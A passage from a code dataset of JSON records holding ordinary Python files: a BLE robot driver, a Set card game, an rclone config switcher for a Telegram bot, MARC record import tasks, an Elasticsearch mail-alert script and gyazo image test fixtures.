{"api_name": "sqlalchemy.Integer", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 36, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "24596240247", "text": "import asyncio\nimport enum\nfrom contextlib import asynccontextmanager\n\nimport bleak\n\nfrom . import protocol\nfrom .events import Event, StartedEvent\nfrom .types import *\n\n\nasync def discover_devices(timeout=1):\n    return await bleak.discover(\n        timeout=timeout,\n        filters={'UUIDs': [protocol.root_identifier_uuid]},\n    )\n\n\ndef get_client(device):\n    return bleak.BleakClient(device)\n\n\ndef get_characteristics(client):\n    uart = client.services.get_service(protocol.uart_service_uuid)\n    rx = uart.get_characteristic(protocol.rx_char_uuid)\n    assert 'write' in rx.properties\n    tx = uart.get_characteristic(protocol.tx_char_uuid)\n    assert 'notify' in tx.properties\n    return rx, tx\n\n\n@asynccontextmanager\nasync def get_driver(device):\n    async with get_client(device) as client:\n        rx, tx = get_characteristics(client)\n        async with Driver(client, rx, tx) as driver:\n            yield driver\n\n\nclass Driver:\n    def __init__(self, client, rx, tx):\n        self.client = client\n        self.rx = rx\n        self.tx = tx\n        self._responses = {}\n        self._event_queue = asyncio.Queue()\n        self._event_queue.put_nowait(StartedEvent())\n\n    async def __aenter__(self):\n        await self.client.start_notify(self.tx, self._notification)\n        return self\n\n    async def __aexit__(self, exc_type, exc, tb):\n        await self.client.stop_notify(self.tx)\n\n    async def _send(self, cmd, *args, wait_response=True):\n        message, hdr = protocol.format_command(cmd, *args)\n        if wait_response:\n            self._responses[hdr] = waiter = asyncio.Event()\n        await self.client.write_gatt_char(self.rx, message)\n        if wait_response:\n            await waiter.wait()\n            return self._responses.pop(hdr)\n\n    def _notification(self, _sender, message):\n        name, args, hdr = protocol.extract_event(message)\n        waiter = self._responses.pop(hdr, None)\n\n        event = Event.parse(name, *args)\n        if waiter is None:\n            self._event_queue.put_nowait(event)\n        else:\n            self._responses[hdr] = event\n            waiter.set()\n\n    async def get_events(self, loop=False):\n        # + handle disconnection from robot\n        q = self._event_queue\n        while loop or not q.empty():\n            event = await q.get()\n            q.task_done()\n            if event is None:\n                break\n            yield event\n\n    async def get_version(self, board: Board):\n        version = await self._send('get_version', board.value)\n        return version\n\n    async def set_name(self, name: str):\n        await self._send('set_name', name.encode(protocol.encoding), wait_response=False)\n\n    async def get_name(self):\n        name, = await self._send('get_name')\n        return name\n\n    async def cancel(self):\n        # + reset waiters to cancel jobs?\n        await self._send('cancel', wait_response=False)\n\n    async def disconnect(self):\n        await self._send('disconnect', wait_response=False)\n        self._event_queue.put_nowait(None)\n\n    async def enable_events(self, devices: Devices):\n        bitfield = devices.to_bytes()\n        await self._send('enable_events', bitfield, wait_response=False)\n\n    async def disable_events(self, devices: Devices):\n        bitfield = devices.to_bytes()\n        await self._send('disable_events', bitfield, wait_response=False)\n\n    async def get_enabled_events(self):\n        bitfield, = await self._send('get_enabled_events')\n        return Devices.from_bytes(bitfield)\n\n    async def get_serial_number(self):\n        serial, = await self._send('get_serial_number')\n        return serial\n\n    async def get_sku(self):\n        sku, = await self._send('get_sku')\n        return sku\n\n    async def set_motor_speed(self, left: int, right: int):\n        await self._send('set_motor_speed', left, right, wait_response=False)\n\n    async def set_left_motor_speed(self, speed: int):\n        await self._send('set_left_motor_speed', speed, wait_response=False)\n\n    async def set_right_motor_speed(self, speed: int):\n        await self._send('set_right_motor_speed', speed, wait_response=False)\n\n    async def set_gravity_compensation(self, state: GravityState, amount: int):\n        await self._send('set_gravity_compensation', state.value, amount, wait_response=False)\n\n    async def drive_distance(self, dist: int, wait=True):\n        await self._send('drive_distance', dist, wait_response=wait)\n\n    async def rotate_angle(self, angle: int, wait=True):\n        await self._send('rotate_angle', angle, wait_response=wait)\n\n    async def drive_arc(self, angle: int, radius: int, wait=True):\n        await self._send('drive_arc', angle, radius, wait_response=wait)\n\n    async def set_marker_eraser(self, position: MarkerEraserPosition, wait=True):\n        ret = await self._send('set_marker_eraser', position.value, wait_response=wait)\n        if wait:\n            position, = ret\n            return MarkerEraserPosition(position)\n\n    async def get_color_data(self, sensor: ColorSensor, lightning: ColorLightning, format: ColorFormat):\n        return await self._send('get_color_data', sensor.value, lightning.value, format.value)\n\n    async def set_led_animation(self, anim: LEDAnimation, red: int, green: int, blue: int):\n        await self._send('set_led_animation', anim.value, red, green, blue, wait_response=False)\n\n    async def play_note(self, frequency: int, duration: int, wait=True):\n        await self._send('play_note', frequency, duration, wait_response=wait)\n\n    async def stop_note(self):\n        await self._send('stop_note', wait_response=False)\n\n    async def say_phrase(self, phrase: str, wait=True):\n        await self._send('say_phrase', phrase.encode(protocol.encoding), wait_response=wait)\n\n    async def get_battery_level(self):\n        _, voltage, rate = await self._send('get_battery_level')\n        return voltage, rate\n", "repo_name": "entwanne/aiorobot", "sub_path": "aiorobot/driver.py", "file_name": "driver.py", "file_ext": "py", "file_size_in_byte": 5877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "bleak.discover", "line_number": 13, "usage_type": "call"}, {"api_name": "bleak.BleakClient", "line_number": 20, "usage_type": "call"}, {"api_name": "contextlib.asynccontextmanager", "line_number": 32, "usage_type": "name"}, {"api_name": "asyncio.Queue", "line_number": 46, "usage_type": "call"}, {"api_name": "events.StartedEvent", "line_number": 47, "usage_type": "call"}, {"api_name": "asyncio.Event", "line_number": 59, "usage_type": "call"}, {"api_name": "events.Event.parse", "line_number": 69, "usage_type": "call"}, {"api_name": "events.Event", "line_number": 69, "usage_type": "name"}]}
{"seq_id": "25572538156", "text": "import os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\n\nplt.rcParams['axes.unicode_minus']=False\nplt.rcParams['font.sans-serif']=['SimHei']\nplt.style.use('ggplot')\n\n\ndef loadDataByCSV(path):\n\tdata = pd.read_csv(path)\n\treturn data\n\ndef  trainData():\n\tpath = 'F:\\GitCodeBook\\DataCompetiton/train.csv'\n\treturn loadDataByCSV(path)\n\ndef  drawData(data):\n\t#用户动作类型数量统计\n\tfig = plt.figure(figsize=(10,10))\n\tfig.set(alpha=0.5)\n\tplt.subplot2grid((2,2),(0,0))\n\tdata.action_type.value_counts().plot(kind='bar')\n\tplt.ylabel('action type number')\n\tplt.xlabel('action type')\n\tplt.show()", "repo_name": "callmeliuchu/codeGitBook", "sub_path": "DataCompetiton/datacompete.py", "file_name": "datacompete.py", "file_ext": "py", "file_size_in_byte": 619, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 9, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 10, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 11, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot2grid", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}]}
{"seq_id": "3763465381", "text": "import random\nimport itertools\nfrom constants import *\n\nclass Deck:\n    def __init__(self):\n        self.cards = []\n        self.build()\n\n    def build(self):\n        for num in NUMBERS:\n            for shape in SHAPES:\n                for color in COLORS:\n                    for pattern in FILL_PATTERNS:\n                        self.cards.append((num, shape, color, pattern))\n\n    def shuffle(self):\n        random.shuffle(self.cards)\n\n\n    def deal(self):\n        if len(self.cards) > 0:\n            return self.cards.pop()\n\n    def isGameOver(self):\n        return len(self.cards) == 39 #10 sets of 3 have been removed from the board, end game early\n\nclass Board:\n    def __init__(self, deck):\n        self.deck = deck\n        self.cards = [self.deck.deal() for i in range(12)]\n        self.card_img = []\n        self.points = 0\n        self.display_cards()\n        self.index_subsets = [i for i in itertools.combinations({j for j in range(12)}, 3)]\n\n    def add_3_cards(self, card1, card2, card3):\n        self.cards.append(card1)\n        self.cards.append(card2)\n        self.cards.append(card3)\n\n    def check_if_set(self, card1, card2, card3):\n        #check if 3 cards are a set\n        if (card1[0] == card2[0] and card2[0] == card3[0]) or (card1[0] != card2[0] and card2[0] != card3[0] and card1[0] != card3[0]):\n            if (card1[1] == card2[1] and card2[1] == card3[1]) or (card1[1] != card2[1] and card2[1] != card3[1] and card1[1] != card3[1]):\n                if (card1[2] == card2[2] and card2[2] == card3[2]) or (card1[2] != card2[2] and card2[2] != card3[2] and card1[2] != card3[2]):\n                    if (card1[3] == card2[3] and card2[3] == card3[3]) or (card1[3] != card2[3] and card2[3] != card3[3] and card1[3] != card3[3]):\n                        return True\n        return False\n\n    def check_if_no_set(self):\n      l = len(self.cards)\n      for subset in self.index_subsets:\n        if self.check_if_set(self.cards[subset[0]],self.cards[subset[1]],self.cards[subset[2]]):\n          self.points -= 1\n          return True\n\n      self.points += 5\n      self.remove_3_cards(self.cards[l-1], self.cards[l-2], self.cards[l-3])\n      self.add_3_cards(self.deck.deal(), self.deck.deal(), self.deck.deal())\n      self.display_cards()\n      return not self.deck.isGameOver()\n\n    def play_round(self, card1, card2, card3):\n        if self.check_if_set(card1, card2, card3):\n            self.points += 5\n            self.remove_3_cards(card1, card2, card3)\n            self.add_3_cards(self.deck.deal(), self.deck.deal(), self.deck.deal())\n            self.display_cards()\n        else:\n          self.points -= 1\n\n        return not self.deck.isGameOver()\n\n    def remove_3_cards(self, card1, card2, card3):\n        self.cards.remove(card1)\n        self.cards.remove(card2)\n        self.cards.remove(card3)\n\n    def display_cards(self):\n        self.card_img = []\n        for card in self.cards:\n            cards = card[0] + \"_\" + card[1] + \"_\" + card[2] + \"_\" + card[3] + \".png\"\n            self.card_img.append(cards)\n    \n    def addPoint(self):\n      self.points += 1\n\n    def removePoint(self):\n      self.points -= 1\n", "repo_name": "njf26/set", "sub_path": "set_deck.py", "file_name": "set_deck.py", "file_ext": "py", "file_size_in_byte": 3152, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.shuffle", "line_number": 18, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 35, "usage_type": "call"}]}
{"seq_id": "19537539363", "text": "# This is code to switch which rclone config section to use. This setting affects the entire bot(And at this time, the cloneHelper only support gdrive, so you should only choose to use gdrive config section)\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# (c) xiaoqi-beta | gautamajay52\n\nimport logging\nimport os\nimport re\nfrom configparser import ConfigParser\n\nimport pyrogram.types as pyrogram\nfrom pyrogram.types import CallbackQuery\nfrom tobrot import LOGGER, OWNER_ID\n\n\nasync def rclone_command_f(client, message):\n    \"\"\"/rclone command\"\"\"\n    LOGGER.info(\n        f\"rclone command from chatid:{message.chat.id}, userid:{message.from_user.id}\"\n    )\n    if message.from_user.id == OWNER_ID and message.chat.type == \"private\":\n        config = ConfigParser()\n        config.read(\"rclone_bak.conf\")\n        sections = list(config.sections())\n        inline_keyboard = []\n        for section in sections:\n            ikeyboard = [\n                pyrogram.InlineKeyboardButton(\n                    section, callback_data=(f\"rclone_{section}\").encode(\"UTF-8\")\n                )\n            ]\n            inline_keyboard.append(ikeyboard)\n        config = ConfigParser()\n        config.read(\"rclone.conf\")\n        section = config.sections()[0]\n        msg_text = f\"\"\"Default section of rclone config is: **{section}**\\n\\n\nThere are {len(sections)} sections in your rclone.conf file, \nplease choose which section you want to use:\"\"\"\n        ikeyboard = [\n            pyrogram.InlineKeyboardButton(\n                \"‼️ Cancel ‼️\", callback_data=(f\"rcloneCancel\").encode(\"UTF-8\")\n            )\n        ]\n        inline_keyboard.append(ikeyboard)\n        reply_markup = pyrogram.InlineKeyboardMarkup(inline_keyboard)\n        await message.reply_text(text=msg_text, reply_markup=reply_markup)\n    else:\n        await message.reply_text(\"You have no permission!\")\n        LOGGER.warning(\n            f\"uid={message.from_user.id} have no permission to edit rclone config!\"\n        )\n\n\nasync def rclone_button_callback(bot, update: CallbackQuery):\n    \"\"\"rclone button callback\"\"\"\n    if update.data == \"rcloneCancel\":\n        config = ConfigParser()\n        config.read(\"rclone.conf\")\n        section = config.sections()[0]\n        await update.message.edit_text(\n            f\"Opration canceled! \\n\\nThe default section of rclone config is: **{section}**\"\n        )\n        LOGGER.info(\n            f\"Opration canceled! The default section of rclone config is: {section}\"\n        )\n    else:\n        section = update.data.split(\"_\", maxsplit=1)[1]\n        with open(\"rclone.conf\", \"w\", newline=\"\\n\", encoding=\"utf-8\") as f:\n            config = ConfigParser()\n            config.read(\"rclone_bak.conf\")\n            temp = ConfigParser()\n            temp[section] = config[section]\n            temp.write(f)\n        await update.message.edit_text(\n            f\"Default rclone config changed to **{section}**\"\n        )\n        LOGGER.info(f\"Default rclone config changed to {section}\")", "repo_name": "MaxxRider/Leech-Pro", "sub_path": "tobrot/plugins/choose_rclone_config.py", "file_name": "choose_rclone_config.py", "file_ext": "py", "file_size_in_byte": 2990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 434, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tobrot.LOGGER.info", "line_number": 18, "usage_type": "call"}, {"api_name": "tobrot.LOGGER", "line_number": 18, "usage_type": "name"}, {"api_name": "tobrot.OWNER_ID", "line_number": 21, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 22, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 28, "usage_type": "call"}, {"api_name": "pyrogram.types", "line_number": 28, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 33, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 40, "usage_type": "call"}, {"api_name": "pyrogram.types", "line_number": 40, "usage_type": "name"}, {"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 45, "usage_type": "call"}, {"api_name": "pyrogram.types", "line_number": 45, "usage_type": "name"}, {"api_name": "tobrot.LOGGER.warning", "line_number": 49, "usage_type": "call"}, {"api_name": "tobrot.LOGGER", "line_number": 49, "usage_type": "name"}, {"api_name": "pyrogram.types.CallbackQuery", "line_number": 54, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 57, "usage_type": "call"}, {"api_name": "tobrot.LOGGER.info", "line_number": 63, "usage_type": "call"}, {"api_name": "tobrot.LOGGER", "line_number": 63, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 69, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 71, "usage_type": "call"}, {"api_name": "tobrot.LOGGER.info", "line_number": 77, "usage_type": "call"}, {"api_name": "tobrot.LOGGER", "line_number": 77, "usage_type": "name"}]}
{"seq_id": "18956900044", "text": "from zope.i18nmessageid import MessageFactory\nfrom zope.interface import implementer\nfrom icc.cellula.interfaces import ISingletonTask\nfrom icc.cellula.workers import Task\nfrom isu.enterprise.interfaces import IConfigurator\nfrom zope.component import getUtility\nfrom icc.cellula.interfaces import IRTMetadataIndex, IWorker\nfrom icc.cellula import default_storage\nimport pprint\nfrom pymarc import rusmarcxml\nfrom marcds.importer.issuerecog import DJVUtoMARC\nimport logging\nimport tempfile\nfrom . import MIME_TYPE\nfrom icc.cellula.tasks import DocumentTask\nfrom icc.contentstorage import hexdigest\n\nlogger = logging.getLogger('icc.cellula')\n\n_ = _N = MessageFactory(\"icc.cellula\")\n\n\n@implementer(ISingletonTask)\nclass IssueDataTask(Task):\n\n    def run(self):\n        logger.info(\"Ran {}\".format(self.__class__))\n        metadata = getUtility(IRTMetadataIndex, \"elastic\")\n        docs = metadata.query(variant=\"noisbn\", count=1000)\n        logger.debug(\"Found {} documents\".format(docs.count))\n        if docs.count == 0:\n            logger.debug(\"No document for processing.\")\n            return\n        storage = default_storage()\n        queue_thread = getUtility(IWorker, name=\"queue\")\n        for doc in docs:\n            logger.debug(doc[\"File-Name\"])\n            logger.debug(doc[\"mimetype\"])\n            id = doc[\"id\"]\n            content = storage.get(doc[\"id\"])\n            if isinstance(content, (str, bytes)):\n                logger.debug(\"Content length: {}\".format(len(content)))\n                tmp = tempfile.NamedTemporaryFile(dir=queue_thread.tmpdir)\n                tmp.write(content)\n                tmp.flush()\n            else:\n                raise NotImplementedError(\"type is not supported\")\n            r = DJVUtoMARC(tmp.name)\n            data = r.issue_data(noexc=True)\n            if data is not None:\n                logger.debug(\"Got some data ISBN {}\".format(r.isbn))\n                logger.debug(\"Lines: {}\".format(r.lines))\n            else:\n                logger.debug(\"No data found.\")\n                continue\n            # query isbn with isbnlib\n            if r.isbn:\n                rc = r.query_with_isbn(services=(\"wcat\", \"goob\", \"openl\"))\n            else:\n                continue\n            if rc:\n                doc[\"isbn\"] = r.isbn\n            else:\n                continue\n            for k, fs in rc.items():\n                if fs is None:\n                    continue\n                for fk, fv in fs.items():\n                    fk = fk.lower()\n                    doc[fk] = fv\n                    logger.debug(\"{} = {}\".format(fk, fv))\n            metadata.put(doc, id)\n\n            logger.debug(pprint.pformat(doc))\n            logger.info(\n                \"Book {title} filename: {File-Name} stored!\".format(doc))\n\n\nclass MARCStreamImportTask(Task):\n    def __init__(self, stream, features=None,\n                 *args, **kwargs):\n        # FIXME: refactor headers -> features\n        super(MARCStreamImportTask, self).__init__(*args, **kwargs)\n        if features is None:\n            features = {}\n        features[\"mimetype\"] = MIME_TYPE\n        self.stream = stream\n        self.features = features\n\n    def run(self):\n        self.records = rusmarcxml.parse_xml_to_array(self.stream)\n\n    def finalize(self):\n        if self.records:\n            conf = getUtility(IConfigurator, \"configuration\")\n            size = conf[\"marc\"].getint(\"bunch_size\", 10)\n            MARCRecordsImportTask(records=self.records,\n                                  count=size,\n                                  features=self.features\n                                  ).enqueue()\n\n\nclass MARCRecordsImportTask(Task):\n    delay = 5\n\n    def __init__(self, records, count, features):\n        super(MARCRecordsImportTask, self).__init__()\n        self.records = records\n        self.count = count\n        self.features = features\n        self.processed = []\n\n    def run(self):\n        # process\n        count = self.count\n        if count == 0:\n            raise ValueError(\"zero-sized bunch\")\n        while True:\n            if count <= 0:\n                break\n            if not self.records:\n                break\n\n            rec = self.records.pop()\n            # processing\n            logger.debug(\"Processing record: {}\".format(str(rec)))\n            # logger.debug(\"As marc: {}\".format(rec.as_marc()))\n            rec.force_utf8 = True\n            content = rec.as_marc()\n            d = rec.as_dict()\n            self.processed.append((content, d))\n            count -= 1\n\n    def finalize(self):\n        if len(self.processed) < self.count:\n            # Something bad happened or all the records already processed\n            logger.debug(\"No more processing possible.\")\n        else:\n            MARCRecordsImportTask(records=self.records,\n                                  count=self.count,\n                                  features=self.features).enqueue()\n        if self.processed:\n            MARCContentStoreTask(content=self.processed,\n                                 headers=self.features).enqueue()\n\n\nclass MARCContentStoreTask(DocumentTask):\n    def run(self):\n        storage = default_storage()\n        for rec in self.content:\n            fs = rec[1]\n            marc = rec[0]\n            key = storage.put(marc)\n            hkey = hexdigest(key)\n            logger.debug(\"MARC storage: put MARC for key: {}\".format(hkey))\n            fs[\"id\"] = hkey\n            fs.update(self.headers)\n            mrc = storage.get(key)\n            assert mrc == marc\n\n    def finalize(self):\n        if self.content:\n            MARCContentIndexTask(content=self.content,\n                                 headers=self.headers).enqueue()\n\n\nclass MARCContentIndexTask(DocumentTask):\n    def run(self):\n        indexer = getUtility(IRTMetadataIndex, \"marc\")\n        for rec in self.content:\n            d = rec[1]\n            id = d[\"id\"]\n            # logger.debug(\"Reord to be saved: {}\".format(d))\n            indexer.put(d, id)\n            logger.debug(\"MARC index: put MARC for id: {}\".format(id))\n", "repo_name": "isu-enterprise/icc.cellula", "sub_path": "src/icc/cellula/marc/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 6052, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "zope.i18nmessageid.MessageFactory", "line_number": 20, "usage_type": "call"}, {"api_name": "icc.cellula.workers.Task", "line_number": 24, "usage_type": "name"}, {"api_name": "zope.component.getUtility", "line_number": 28, "usage_type": "call"}, {"api_name": "icc.cellula.interfaces.IRTMetadataIndex", "line_number": 28, "usage_type": "argument"}, {"api_name": "icc.cellula.default_storage", "line_number": 34, "usage_type": "call"}, {"api_name": "zope.component.getUtility", "line_number": 35, "usage_type": "call"}, {"api_name": "icc.cellula.interfaces.IWorker", "line_number": 35, "usage_type": "argument"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 43, "usage_type": "call"}, {"api_name": "marcds.importer.issuerecog.DJVUtoMARC", "line_number": 48, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 74, "usage_type": "call"}, {"api_name": "zope.interface.implementer", "line_number": 23, "usage_type": "call"}, {"api_name": "icc.cellula.interfaces.ISingletonTask", "line_number": 23, "usage_type": "argument"}, {"api_name": "icc.cellula.workers.Task", "line_number": 79, "usage_type": "name"}, {"api_name": "pymarc.rusmarcxml.parse_xml_to_array", "line_number": 91, "usage_type": "call"}, {"api_name": "pymarc.rusmarcxml", "line_number": 91, "usage_type": "name"}, {"api_name": "zope.component.getUtility", "line_number": 95, "usage_type": "call"}, {"api_name": "isu.enterprise.interfaces.IConfigurator", "line_number": 95, "usage_type": "argument"}, {"api_name": "icc.cellula.workers.Task", "line_number": 103, "usage_type": "name"}, {"api_name": "icc.cellula.tasks.DocumentTask", "line_number": 147, "usage_type": "name"}, {"api_name": "icc.cellula.default_storage", "line_number": 149, "usage_type": "call"}, {"api_name": "icc.contentstorage.hexdigest", "line_number": 154, "usage_type": "call"}, {"api_name": "icc.cellula.tasks.DocumentTask", "line_number": 167, "usage_type": "name"}, {"api_name": "zope.component.getUtility", "line_number": 169, "usage_type": "call"}, {"api_name": "icc.cellula.interfaces.IRTMetadataIndex", "line_number": 169, "usage_type": "argument"}]}
{"seq_id": "17931469415", "text": "from datetime import datetime\nfrom Cheetah.Template import Template\nfrom action_mail_sender import send_mail\nimport pycron\nimport requests\n\nresp_action_mail = requests.get('http://127.0.0.1:8000/api/mail/actions/').json()\n\nfor objects in range(len(resp_action_mail)):\n\n    if resp_action_mail[objects]['is_enabled']:\n\n        q_input = resp_action_mail[objects]['input']\n        cron = resp_action_mail[objects]['cron']\n        template_mail = resp_action_mail[objects]['template_mail']\n        last_run = resp_action_mail[objects]['last_run']\n\n        last_run = datetime.strptime(last_run, '%Y-%m-%dT%H:%M:%SZ')\n\n        if pycron.is_now(cron, last_run):\n            resp = requests.get(f'http://127.0.0.1:8000/api/elastic?query={q_input}').json()\n            if bool(resp):\n                HTML_BODY = str(Template(template_mail, {'response': resp}))\n                #print(HTML_BODY)\n                send_mail(HTML_BODY)\n            else:\n                print(\"NOT RUN, dict empty\")\n        else:\n            print(\"NOT RUN, cron not true\")\n    else:\n        print(\"Alert not enabled!\")\n        break\n", "repo_name": "starmanone/elastic-plugin", "sub_path": "app/elastic-plugin/python_backend/action_mail.py", "file_name": "action_mail.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "pycron.is_now", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "Cheetah.Template.Template", "line_number": 23, "usage_type": "call"}, {"api_name": "action_mail_sender.send_mail", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "71457480893", "text": "from datetime import datetime, timedelta, timezone\n\nimport pytest\n\nfrom gyazo.image import Image, ImageList\n\n\nimage_1_dict = {\n    'url': 'https://i.gyazo.com/2c9044330d710fca3da64b222eddf5b5.png',\n    'type': 'png',\n    'created_at': '2014-07-25T08:29:51+0000',\n    'image_id': '2c9044330d710fca3da64b222eddf5b5',\n    'thumb_url': 'https://i.gyazo.com/thumb/180/_242799a7d541869e0b73dc93ee113fb5.png',\n    'permalink_url': 'http://gyazo.com/2c9044330d710fca3da64b222eddf5b5',\n}\nimage_1 = Image(\n    url='https://i.gyazo.com/2c9044330d710fca3da64b222eddf5b5.png',\n    type='png',\n    created_at=datetime(2014, 7, 25, 8, 29, 51, tzinfo=timezone.utc),\n    image_id='2c9044330d710fca3da64b222eddf5b5',\n    thumb_url='https://i.gyazo.com/thumb/180/_242799a7d541869e0b73dc93ee113fb5.png',\n    permalink_url='http://gyazo.com/2c9044330d710fca3da64b222eddf5b5',\n)\nimage_2_dict = {\n    'type': 'png',\n    'created_at': '2014-06-21T13:45:46+0900',\n    'thumb_url': 'https://thumb.gyazo.com/thumb/200/Qa1W1MKHxBhbk-png.jpg',\n}\nimage_2 = Image(\n    type='png',\n    created_at=datetime(2014, 6, 21, 13, 45, 46, tzinfo=timezone(timedelta(hours=9))),\n    thumb_url='https://thumb.gyazo.com/thumb/200/Qa1W1MKHxBhbk-png.jpg',\n)\nimage_2_dict_empty_str = {\n    'url': '',\n    'type': 'png',\n    'created_at': '2014-06-21T13:45:46+0900',\n    'image_id': '',\n    'thumb_url': 'https://thumb.gyazo.com/thumb/200/Qa1W1MKHxBhbk-png.jpg',\n    'permalink_url': ''\n}\nimage_2_empty_str = Image(\n    url='',\n    type='png',\n    created_at=datetime(2014, 6, 21, 13, 45, 46, tzinfo=timezone(timedelta(hours=9))),\n    image_id='',\n    thumb_url='https://thumb.gyazo.com/thumb/200/Qa1W1MKHxBhbk-png.jpg',\n    permalink_url='',\n)\nimage_3_partial = Image(\n    url='',\n    type='png',\n    created_at=datetime(2014, 7, 20, 3, 9, 34, tzinfo=timezone.utc),\n    image_id='',\n    thumb_url='https://i.gyazo.com/thumb/180/_eadaaad52408b1e53c09111d6959139f.png',\n    permalink_url='',\n)\nimage_3 = Image(\n    url='https://i.gyazo.com/9d04d2da1b4daaaa234c68b5219dc1e3.png',\n    type='png',\n    created_at=datetime(2014, 7, 20, 3, 9, 34, tzinfo=timezone.utc),\n    image_id='9d04d2da1b4daaaa234c68b5219dc1e3',\n    thumb_url='https://i.gyazo.com/thumb/180/_eadaaad52408b1e53c09111d6959139f.png',\n    permalink_url='http://gyazo.com/9d04d2da1b4daaaa234c68b5219dc1e3'\n)\nimage_4 = Image(\n    image_id='14aa1dedcbafaa069943c3cf0631d5e5',\n    type='png',\n    created_at=datetime(2020, 2, 1, 13, 31, 37, 197000, tzinfo=timezone.utc),\n    ocr={\n        'locale': 'ja',\n        'description': 'OCRの結果が\\n入ってる',\n    },\n)\nimage_4_with_url = Image(\n    url='https://i.gyazo.com/14aa1dedcbafaa069943c3cf0631d5e5.png',\n    image_id='14aa1dedcbafaa069943c3cf0631d5e5',\n    type='png',\n    created_at=datetime(2020, 2, 1, 13, 31, 37, 197000, tzinfo=timezone.utc),\n)\nimage_4_merged = Image(\n    url='https://i.gyazo.com/14aa1dedcbafaa069943c3cf0631d5e5.png',\n    image_id='14aa1dedcbafaa069943c3cf0631d5e5',\n    type='png',\n    created_at=datetime(2020, 2, 1, 13, 31, 37, 197000, tzinfo=timezone.utc),\n    ocr={\n        'locale': 'ja',\n        'description': 'OCRの結果が\\n入ってる',\n    },\n)\nimage_4_dict = {\n    'image_id': '14aa1dedcbafaa069943c3cf0631d5e5',\n    'type': 'png',\n    'created_at': '2020-02-01T13:31:37+0000',\n    'ocr': {\n        'locale': 'ja',\n        'description': 'OCRの結果が\\n入ってる',\n    }\n}\nimage_4_dict_with_none = {\n    'image_id': '14aa1dedcbafaa069943c3cf0631d5e5',\n    'permalink_url': None,\n    'thumb_url': None,\n    'type': 'png',\n    'created_at': '2020-02-01T13:31:37.197+0000',\n    'comments': [],\n    'ocr': {\n        'locale': 'ja',\n        'description': 'OCRの結果が\\n入ってる',\n    }\n}\n\ntest_data_from_dict = [\n    (image_1_dict, image_1),\n    (image_2_dict, image_2),\n    (image_2_dict_empty_str, image_2),\n    (image_4_dict_with_none, image_4),\n]\n\ntest_data_to_dict = [\n    (image_1, image_1_dict),\n    (image_2, image_2_dict),\n    (image_2_empty_str, image_2_dict),\n    (image_4, image_4_dict)\n]\n\ntest_data_to_json = [\n    (\n        image_1,\n        '{\"created_at\": \"2014-07-25T08:29:51+0000\", '\n        '\"image_id\": 